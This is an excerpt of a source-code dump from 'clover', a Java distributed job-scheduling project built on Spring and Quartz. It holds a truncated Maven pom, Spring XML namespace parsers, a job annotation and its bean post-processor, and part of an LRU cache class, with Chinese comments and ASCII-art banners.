<groupId>javax.mail</groupId>\r\n            <artifactId>mail</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>redis.clients</groupId>\r\n            <artifactId>jedis</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.sun</groupId>\r\n            <artifactId>tools</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.apache.curator</groupId>\r\n            <artifactId>curator-framework</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>org.springframework</groupId>\r\n            <artifactId>spring-context</artifactId>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>com.typesafe.akka</groupId>\r\n            <artifactId>akka-actor</artifactId>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.typesafe.akka</groupId>\r\n            <artifactId>akka-zeromq_2.10</artifactId>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>org.xerial.snappy</groupId>\r\n            <artifactId>snappy-java</artifactId>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>commons</groupId>\r\n            <artifactId>commons-lang3</artifactId>\r\n        </dependency>\r\n    </dependencies>\r\n\r\n\r\n\r\n</project>"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/annotation/CloverConfigBeanDefinitionParser.java",
    "content": "package com.gome.clover.common.annotation;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.springframework.beans.factory.BeanDefinitionStoreException;\r\nimport org.springframework.beans.factory.support.AbstractBeanDefinition;\r\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\r\nimport org.springframework.beans.factory.support.RootBeanDefinition;\r\nimport org.springframework.beans.factory.xml.AbstractSingleBeanDefinitionParser;\r\nimport org.springframework.beans.factory.xml.ParserContext;\r\nimport org.w3c.dom.Element;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Clover Config Bean Definition Parser\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/3\r\n * Time: 17:53\r\n */\r\npublic class CloverConfigBeanDefinitionParser extends AbstractSingleBeanDefinitionParser {\r\n    private static final Logger logger = LoggerFactory.getLogger(CloverConfigBeanDefinitionParser.class);\r\n    private static final String CLOVERJOB_ANNOTATION = \"CLOVERJOB_ANNOTATION\";\r\n    private static final String CLOVER_CONFIG_INIT = \"CLOVER_CONFIG_INIT\";\r\n    private volatile boolean init = false;\r\n    @Override\r\n    protected Class<?> getBeanClass(Element element) {\r\n        return CloverConfigInit.class;\r\n    }\r\n\r\n    @Override\r\n    protected void doParse(Element element, ParserContext parserContext, BeanDefinitionBuilder builder) {\r\n        super.doParse(element, parserContext, builder);\r\n        if (init) {\r\n            throw new RuntimeException(\"一个应用中只允许配置一个<cloverjob:config>\");\r\n        }\r\n        builder.setInitMethodName(\"init\");\r\n        builder.setDestroyMethodName(\"destroy\");\r\n        builder.addPropertyValue(\"element\", element);\r\n        doParseJobConfig(element);\r\n        if (!parserContext.getRegistry().containsBeanDefinition(CLOVERJOB_ANNOTATION)) {\r\n            RootBeanDefinition annotation = new RootBeanDefinition(CloverJobAnnotationBean.class);\r\n            parserContext.getRegistry().registerBeanDefinition(CLOVERJOB_ANNOTATION, annotation);\r\n        }\r\n        init = true;\r\n    }\r\n\r\n    private void doParseJobConfig(Element element) {\r\n        //解析 spring clover config:config标签配置元素 开始\r\n        String token = element.getAttribute(\"token\");\r\n        if (!StringUtil.isEmpty(token) && CommonConstants.token.equals(token)) {\r\n            String systemId = element.getAttribute(\"systemId\");\r\n            if(StringUtil.isEmpty(systemId))  throw new RuntimeException(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig(element) systemId null  \");\r\n            String port = element.getAttribute(\"port\");\r\n            boolean isStartupNetty = Boolean.valueOf(element.getAttribute(\"isStartupNetty\"));\r\n            boolean isRegisterToZK = Boolean.valueOf(element.getAttribute(\"isRegisterToZK\"));\r\n            String jobClassName = element.getAttribute(\"jobClassName\");\r\n            if (StringUtil.isEmpty(jobClassName)) {\r\n                logger.error(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig(element) jobClassName can not null \");\r\n                throw new RuntimeException(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig(element) jobClassName can not null \");\r\n            } else {\r\n                List<String> jobClassList = new ArrayList<String>();\r\n                if (!StringUtil.isEmpty(jobClassName) && !jobClassName.contains(\"，\")) {\r\n                    String jobClassNames[] = jobClassName.split(\",\");\r\n                    for (String jobClassNameStr : jobClassNames) {\r\n                        if (!StringUtil.isEmpty(jobClassNameStr)) {\r\n                            jobClassList.add(jobClassNameStr.trim());\r\n                        }\r\n                    }\r\n                } else if (!StringUtil.isEmpty(jobClassName) && jobClassName.contains(\"，\")) {\r\n                    logger.error(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig(element) jobClassName  can not include chinese comma\");\r\n                    throw new RuntimeException(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig(element) jobClassName  can not include chinese comma\");\r\n                }\r\n                ModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n                client.startup(jobClassList, isRegisterToZK, isStartupNetty, port,systemId,token);\r\n            }\r\n        } else if (!StringUtil.isEmpty(token) && !CommonConstants.token.equals(token)) {\r\n            throw new RuntimeException(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig() token wrong  \");\r\n        } else if (StringUtil.isEmpty(token)) {\r\n            throw new RuntimeException(\"CloverConfigBeanDefinitionParser-->>doParseJobConfig() token null  \");\r\n        }\r\n        //解析 spring cloverjob:config标签配置元素 结束\r\n    }\r\n\r\n    @Override\r\n    protected String resolveId(Element element, AbstractBeanDefinition definition, ParserContext parserContext) throws BeanDefinitionStoreException {\r\n        return  CLOVER_CONFIG_INIT;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/annotation/CloverConfigInit.java",
    "content": "package com.gome.clover.common.annotation;\r\n\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.w3c.dom.Element;\r\n\r\nimport javax.annotation.PostConstruct;\r\nimport javax.annotation.PreDestroy;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/10\r\n * Time: 17:32\r\n */\r\npublic class CloverConfigInit {\r\n    private static final Logger logger = LoggerFactory.getLogger(CloverConfigInit.class);\r\n    private Element element;\r\n    @PostConstruct\r\n    public void init() {\r\n        System.err.println(\"CloverConfigInit--->>>init().....\");\r\n\r\n    }\r\n    @PreDestroy\r\n    public void destroy() {\r\n\r\n    }\r\n\r\n    public void setElement(Element element) {\r\n        this.element = element;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/annotation/CloverJobAnnotation.java",
    "content": "package com.gome.clover.common.annotation;\n\nimport com.gome.clover.core.job.ClientJob;\nimport org.quartz.JobKey;\n\nimport java.lang.annotation.*;\n\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:Clover Job Annotation\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/28\n * Time: 15:09\n */\n@Documented\n@Retention(RetentionPolicy.RUNTIME)\n@Target({ElementType.TYPE, ElementType.METHOD})\npublic @interface CloverJobAnnotation {\n\n    /**\n     * job 所属组\n     * @return\n     */\n    String jobGroup() default JobKey.DEFAULT_GROUP;\n    /**\n     * job 名称\n     * @return\n     */\n    String jobName() default \"\";\n\n    /**\n     * job类型 LOCAL,REMOTE\n     * @return\n     */\n    ClientJob.JobType jobType() default  ClientJob.JobType.LOCAL;\n\n    /**\n     * job 执行类型 ADD,UPDATE,DELETE\n     * @return\n     */\n    ClientJob.ExecuteType executeType() default  ClientJob.ExecuteType.ADD;\n    /**\n     * job 执行策略 HASH,SYSTEM_CAPACITY\n     * @return\n     */\n    ClientJob.JobStrategy jobStrategy() default  ClientJob.JobStrategy.HASH;\n\n    /**\n     * job 执行时间\n     * @return\n     */\n    String startTime() default \"\";\n\n    /**\n     * job cron执行表达式\n     * @return\n     */\n    String cronExpression() default \"\";\n\n    /**\n     * 指定客户端IP地址\n     * @return\n     */\n    String fixedClientIps() default \"\";\n    /**\n     * 指定服务端IP地址\n     * @return\n     */\n    String fixedServerIps() default \"\";\n}\n\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/annotation/CloverJobAnnotationBean.java",
    "content": "package com.gome.clover.common.annotation;\n\nimport com.gome.clover.common.tools.DateUtil;\nimport com.gome.clover.common.tools.StringUtil;\nimport com.gome.clover.core.job.ClientJob;\nimport com.gome.clover.core.job.ClientJobBuilder;\nimport com.gome.clover.core.module.ModuleSchedulerClient;\nimport org.quartz.Job;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.BeansException;\nimport org.springframework.beans.factory.config.BeanPostProcessor;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.core.annotation.AnnotationUtils;\nimport org.springframework.stereotype.Component;\n\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:Clover Job Annotation Bean\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/28\n * Time: 15:09\n */\n@Component\npublic class CloverJobAnnotationBean implements BeanPostProcessor, ApplicationContextAware {\n    private static final Logger logger = LoggerFactory.getLogger(CloverJobAnnotationBean.class);\n    private ApplicationContext applicationContext;\n\n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        this.applicationContext = applicationContext;\n    }\n\n    @Override\n    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {\n        return bean;\n    }\n\n    @Override\n    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {\n        parseBean(bean);\n        return bean;\n    }\n\n    private void parseBean(Object bean) {\n        CloverJobAnnotation annotation = AnnotationUtils.findAnnotation(bean.getClass(), CloverJobAnnotation.class);\n        if (null != annotation) {\n            String jobGroup = annotation.jobGroup();\n            String jobName = annotation.jobName();\n            if (StringUtil.isEmpty(jobName))\n                throw new RuntimeException(\"CloverJobAnnotationBean-->>postProcessAfterInitialization jobName is null\");\n            ClientJob.JobType jobType = annotation.jobType();\n            if (StringUtil.isEmpty(jobType.name())) jobType = ClientJob.JobType.LOCAL;\n            ClientJob.ExecuteType executeType = annotation.executeType();\n            if (StringUtil.isEmpty(executeType.name())) executeType = ClientJob.ExecuteType.ADD;\n            ClientJob.JobStrategy jobStrategy = annotation.jobStrategy();\n            if (StringUtil.isEmpty(jobStrategy.name())) jobStrategy = ClientJob.JobStrategy.HASH;\n            /**\n             * startTime & cronExpression都不为空，那么优先是startTime生效\n             */\n            String startTime = annotation.startTime();\n            String cronExpression = annotation.cronExpression();\n            ClientJob clientJob;\n            if (!StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\n                clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup, jobName, (Class<? extends Job>) bean.getClass(),\n                        jobType, executeType, jobStrategy, DateUtil.formatWithDefaultPattern(startTime));\n            } else if (!StringUtil.isEmpty(startTime) && StringUtil.isEmpty(cronExpression)) {\n                clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup, jobName, (Class<? extends Job>) bean.getClass(),\n                        jobType, executeType, jobStrategy, DateUtil.formatWithDefaultPattern(startTime));\n\n            } else if (StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\n                clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndCronExpression(jobGroup, jobName, (Class<? extends Job>) bean.getClass(),\n                        jobType, executeType, jobStrategy, cronExpression);\n            } else {\n                throw new RuntimeException(\"CloverJobAnnotationBean-->>postProcessAfterInitialization startTime &  cronExpression  can not null at the same time\");\n            }\n            String fixedClientIps = annotation.fixedClientIps();\n            if (!StringUtil.isEmpty(fixedClientIps) && !fixedClientIps.contains(\"，\")) {\n                clientJob.setFixedClientIps(fixedClientIps.split(\",\"));\n            } else if (!StringUtil.isEmpty(fixedClientIps) && fixedClientIps.contains(\"，\")) {\n                logger.error(\"CloverJobAnnotationBean-->>fixedClientIps can not include chinese comma\");\n                throw new RuntimeException(\"CloverJobAnnotationBean-->>fixedClientIps can not include chinese comma\");\n            }\n\n            String fixedServerIps = annotation.fixedServerIps();\n            if (!StringUtil.isEmpty(fixedServerIps) && !fixedServerIps.contains(\"，\")) {\n                clientJob.setFixedServerIps(fixedServerIps.split(\",\"));\n            } else if (!StringUtil.isEmpty(fixedServerIps) && fixedServerIps.contains(\"，\")) {\n                logger.error(\"CloverJobAnnotationBean-->>fixedServerIps can not include chinese comma\");\n                throw new RuntimeException(\"CloverJobAnnotationBean-->>fixedServerIps can not include chinese comma\");\n            }\n            ModuleSchedulerClient.getInstance().handlerJob(clientJob);\n        }\n    }\n\n}\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/annotation/CloverJobBeanDefinitionParser.java",
    "content": "package com.gome.clover.common.annotation;\r\n\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobKey;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\r\nimport org.springframework.beans.factory.support.RootBeanDefinition;\r\nimport org.springframework.beans.factory.xml.AbstractSingleBeanDefinitionParser;\r\nimport org.springframework.beans.factory.xml.ParserContext;\r\nimport org.w3c.dom.Element;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Clover Job Bean Definition Parser\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/3\r\n * Time: 17:53\r\n */\r\npublic class CloverJobBeanDefinitionParser extends AbstractSingleBeanDefinitionParser {\r\n    private static final Logger logger = LoggerFactory.getLogger(CloverJobBeanDefinitionParser.class);\r\n    private static final String CLOVER_JOB_ANNOTATION = \"CLOVER_JOB_ANNOTATION\";\r\n\r\n    @Override\r\n    protected Class<?> getBeanClass(Element element) {\r\n        try {\r\n            return Class.forName(element.getAttribute(\"id\"));\r\n        } catch (ClassNotFoundException e) {\r\n            e.printStackTrace();\r\n        }\r\n        return null;\r\n    }\r\n\r\n    @Override\r\n    protected void doParse(Element element, ParserContext parserContext, BeanDefinitionBuilder builder) {\r\n        super.doParse(element, parserContext, builder);\r\n        doParseElement(element);\r\n        if (!parserContext.getRegistry().containsBeanDefinition(CLOVER_JOB_ANNOTATION)) {\r\n            RootBeanDefinition annotation = new RootBeanDefinition(CloverJobAnnotationBean.class);\r\n            parserContext.getRegistry().registerBeanDefinition(CLOVER_JOB_ANNOTATION, annotation);\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 解析 spring cloverjob:job标签配置元素，并创建ClientJob(代码一大坨 一大坨的 都不忍直视了)\r\n     *\r\n     * @param element\r\n     */\r\n    private void doParseElement(Element element) {\r\n        //解析 spring cloverjob:config标签配置元素 开始\r\n        String id = element.getAttribute(\"id\");\r\n        String jobGroup = element.getAttribute(\"jobGroup\");\r\n        if (StringUtil.isEmpty(jobGroup)) jobGroup = JobKey.DEFAULT_GROUP;\r\n        String jobName = element.getAttribute(\"jobName\");\r\n        if (StringUtil.isEmpty(jobName)) jobName = id;\r\n        String jobType = element.getAttribute(\"jobType\");\r\n\r\n        if (StringUtil.isEmpty(jobType)) {\r\n            jobType = ClientJob.JobType.LOCAL.name();\r\n        } else if (!jobType.equalsIgnoreCase(ClientJob.JobType.LOCAL.name())\r\n                && !jobType.equalsIgnoreCase(ClientJob.JobType.REMOTE.name())) {\r\n            logger.error(\"CloverJobBeanDefinitionParser-->>doParseElement() jobType must be LOCAL or REMOTE \");\r\n            throw new RuntimeException(\"CloverJobBeanDefinitionParser-->>doParse() jobType must be LOCAL or REMOTE \");\r\n        }\r\n        String executeType = element.getAttribute(\"executeType\");\r\n        if (StringUtil.isEmpty(executeType)) {\r\n            executeType = ClientJob.ExecuteType.ADD.name();\r\n        } else if (!executeType.equalsIgnoreCase(ClientJob.ExecuteType.ADD.name())\r\n                && !executeType.equalsIgnoreCase(ClientJob.ExecuteType.UPDATE.name())\r\n                && !executeType.equalsIgnoreCase(ClientJob.ExecuteType.DELETE.name())) {\r\n            logger.error(\"CloverJobBeanDefinitionParser-->>doParseElement() executeType must be ADD or UPDATE or DELETE  \");\r\n            throw new RuntimeException(\"CloverJobBeanDefinitionParser-->>doParse() executeType must be ADD or UPDATE or DELETE  \");\r\n        }\r\n        String jobStrategy = element.getAttribute(\"jobStrategy\");\r\n        if (StringUtil.isEmpty(jobStrategy)) {\r\n            jobStrategy = ClientJob.JobStrategy.HASH.name();\r\n        } else if (!jobStrategy.equalsIgnoreCase(ClientJob.JobStrategy.HASH.name())\r\n                && !jobStrategy.equalsIgnoreCase(ClientJob.JobStrategy.SYSTEM_CAPACITY.name())) {\r\n            logger.error(\"CloverJobBeanDefinitionParser-->>doParseElement() jobStrategy must be HASH or SYSTEM_CAPACITY  \");\r\n            throw new RuntimeException(\"CloverJobBeanDefinitionParser-->>doParse() jobStrategy must be HASH or SYSTEM_CAPACITY \");\r\n        }\r\n        String startTime = element.getAttribute(\"startTime\");\r\n        String cronExpression = element.getAttribute(\"cronExpression\");\r\n        //解析 spring cloverjob:config标签配置元素 结束\r\n        //创建ClientJob 开始\r\n        ClientJob clientJob;\r\n        if (!StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\r\n            try {\r\n                clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup,\r\n                        jobName,(Class<? extends Job>) Class.forName(id),\r\n                        ClientJob.JobType.valueOf(jobType), ClientJob.ExecuteType.valueOf(executeType),\r\n                        ClientJob.JobStrategy.valueOf(jobStrategy),\r\n                        DateUtil.formatWithDefaultPattern(startTime));\r\n            } catch (ClassNotFoundException e) {\r\n                if (logger.isDebugEnabled()) e.printStackTrace();\r\n                logger.error(\"CloverJobBeanDefinitionParser-->>doParseElement() error,\" + e.getMessage());\r\n                throw new RuntimeException(e);\r\n            }\r\n        } else if (!StringUtil.isEmpty(startTime) && StringUtil.isEmpty(cronExpression)) {\r\n            try {\r\n                clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup,\r\n                        jobName,(Class<? extends Job>) Class.forName(id),\r\n                        ClientJob.JobType.valueOf(jobType), ClientJob.ExecuteType.valueOf(executeType),\r\n                        ClientJob.JobStrategy.valueOf(jobStrategy),\r\n                        DateUtil.formatWithDefaultPattern(startTime));\r\n            } catch (ClassNotFoundException e) {\r\n                if (logger.isDebugEnabled()) e.printStackTrace();\r\n                logger.error(\"CloverJobBeanDefinitionParser-->>doParseElement() error,\" + e.getMessage());\r\n                throw new RuntimeException(e);\r\n            }\r\n\r\n        } else if (StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\r\n            try {\r\n                clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndCronExpression(jobGroup,\r\n                        jobName,(Class<? extends Job>) Class.forName(id),\r\n                        ClientJob.JobType.valueOf(jobType), ClientJob.ExecuteType.valueOf(executeType),\r\n                        ClientJob.JobStrategy.valueOf(jobStrategy), cronExpression);\r\n            } catch (ClassNotFoundException e) {\r\n                if (logger.isDebugEnabled()) e.printStackTrace();\r\n                logger.error(\"CloverJobBeanDefinitionParser-->>doParseElement() error,\" + e.getMessage());\r\n                throw new RuntimeException(e);\r\n            }\r\n        } else {\r\n            logger.error(\"CloverJobBeanDefinitionParser-->>postProcessAfterInitialization startTime &  cronExpression  can not null at the same time\");\r\n            throw new RuntimeException(\"CloverJobBeanDefinitionParser-->>postProcessAfterInitialization startTime &  cronExpression  can not null at the same time\");\r\n        }\r\n        String fixedClientIpsStr = element.getAttribute(\"fixedClientIps\");\r\n        if (!StringUtil.isEmpty(fixedClientIpsStr) && !fixedClientIpsStr.contains(\"，\")) {\r\n            clientJob.setFixedClientIps(fixedClientIpsStr.split(\",\"));\r\n        } else if (!StringUtil.isEmpty(fixedClientIpsStr) && fixedClientIpsStr.contains(\"，\")) {\r\n            logger.error(\"CloverJobBeanDefinitionParser-->>fixedClientIps can not include chinese comma\");\r\n            throw new RuntimeException(\"CloverJobBeanDefinitionParser-->>fixedClientIps can not include chinese comma\");\r\n        }\r\n        String fixedServerIpsStr = element.getAttribute(\"fixedServerIps\");\r\n        if (!StringUtil.isEmpty(fixedServerIpsStr) && !fixedClientIpsStr.contains(\"，\")) {\r\n            clientJob.setFixedClientIps(fixedServerIpsStr.split(\",\"));\r\n        } else if (!StringUtil.isEmpty(fixedServerIpsStr) && fixedServerIpsStr.contains(\"，\")) {\r\n            logger.error(\"CloverJobBeanDefinitionParser-->>fixedServerIps can not include chinese comma\");\r\n            throw new RuntimeException(\"CloverJobBeanDefinitionParser-->>fixedServerIps can not include chinese comma\");\r\n        }\r\n        //创建ClientJob 结束\r\n        ModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/annotation/CloverJobNamespaceHandler.java",
    "content": "package com.gome.clover.common.annotation;\r\n\r\nimport org.springframework.beans.factory.xml.NamespaceHandlerSupport;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/3\r\n * Time: 17:50\r\n */\r\npublic class CloverJobNamespaceHandler extends NamespaceHandlerSupport {\r\n    @Override\r\n    public void init() {\r\n        registerBeanDefinitionParser(\"config\", new CloverConfigBeanDefinitionParser());\r\n        registerBeanDefinitionParser(\"job\", new CloverJobBeanDefinitionParser());\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/cache/LRUCache.java",
    "content": "package com.gome.clover.common.cache;\r\n\r\nimport java.util.Hashtable;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/22\r\n * Time: 17:25\r\n */\r\npublic class LRUCache {\r\n    private int cacheSize;\r\n    private Hashtable<Object, Entry> nodes;//缓存容器\r\n    private int currentSize;\r\n    private Entry first;//链表头\r\n    private Entry last;//链表尾\r\n\r\n    public LRUCache(int i) {\r\n        currentSize = 0;\r\n        cacheSize = i;\r\n        nodes = new Hashtable<Object, Entry>(i);//缓存容器\r\n    }\r\n\r\n    /**\r\n     * 获取缓存中对象,并把它放在最前面\r\n     */\r\n    public Entry get(Object key) {\r\n        Entry node = nodes.get(key);\r\n        if (node != null) {\r\n            moveToHead(node);\r\n            return node;\r\n        } else {\r\n            return null;\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 添加 entry到hashtable, 并把entry\r\n     */\r\n    public void put(Object key, Object value) {\r\n        //先查看hashtable是否存在该entry, 如果存在，则只更新其value\r\n        Entry node = nodes.get(key);\r\n\r\n        if (node == null) {\r\n            //缓存容器是否已经超过大小.\r\n            if (currentSize >= cacheSize) {\r\n                nodes.remove(last.key);\r\n                removeLast();\r\n            } else {\r\n                currentSize++;\r\n            }\r\n            node = new Entry();\r\n        }\r\n        node.value = value;\r\n        //将最新使用的节点放到链表头，表示最新使用的.\r\n        moveToHead(node);\r\n        